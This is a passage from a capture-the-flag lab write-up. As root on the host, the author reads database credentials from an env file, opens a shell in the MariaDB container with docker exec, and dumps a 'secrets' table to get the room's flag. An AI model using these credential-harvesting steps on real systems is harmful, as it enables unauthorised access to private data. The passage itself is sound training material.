services:
web:
platform: linux/amd64
build: ./web
ports:
- "80:80"
restart: always
privileged: true
db:
image: mariadb:10.11.11-jammy
volumes:
- "./db:/docker-entrypoint-initdb.d:ro"
env_file:
- ./db/db.env
restart: always
|
From the /root/challenge/db/db.env
file, we can get the root
password for the MySQL server:
1
2
3
4
5
| root@ubuntu-jammy:~/challenge# cat db/db.env; echo
MYSQL_PASSWORD=TAJnF6YuIot83X3g
MYSQL_DATABASE=web
MYSQL_USER=web
MYSQL_ROOT_PASSWORD=gG4i8NFNkcHBwUpd
|
Listing the running containers, we can find the container running the database:
1
2
3
4
| root@ubuntu-jammy:~/challenge# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
89366d62e05c mariadb:10.11.11-jammy "docker-entrypoint.s…" 7 weeks ago Up 4 hours 3306/tcp challenge-db-1
bb28d5969dd5 challenge-web "docker-php-entrypoi…" 7 weeks ago Up 4 hours 0.0.0.0:80->80/tcp, [::]:80->80/tcp challenge-web-1
|
We can get a shell inside the database container as follows:
1
| root@ubuntu-jammy:~/challenge# docker container exec -it 8936 bash
|
Connecting to the database with the password we discovered in the db.env
file and checking the databases, we can see that, apart from the web
database we already had access to, we have access to one more database: secret
.
1
2
3
4
5
6
7
8
9
10
11
12
13
| root@89366d62e05c:/# mysql -u root -pgG4i8NFNkcHBwUpd
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| secret |
| sys |
| web |
+--------------------+
6 rows in set (0.004 sec)
|
Checking the tables for the secret
database, there is one table: secrets
.
1
2
3
4
5
6
7
8
| MariaDB [(none)]> use secret;
MariaDB [secret]> show tables;
+------------------+
| Tables_in_secret |
+------------------+
| secrets |
+------------------+
1 row in set (0.000 sec)
|
Finally, fetching everything from the secrets
table, we can discover the root flag and complete the room.
1
2
3
4
5
6
7
| MariaDB [secret]> select * from secrets;
+---------------------------------------+
| flag |
+---------------------------------------+
| THM{[REDACTED]} |
+---------------------------------------+
1 row in set (0.000 sec)
|
Lateral Movement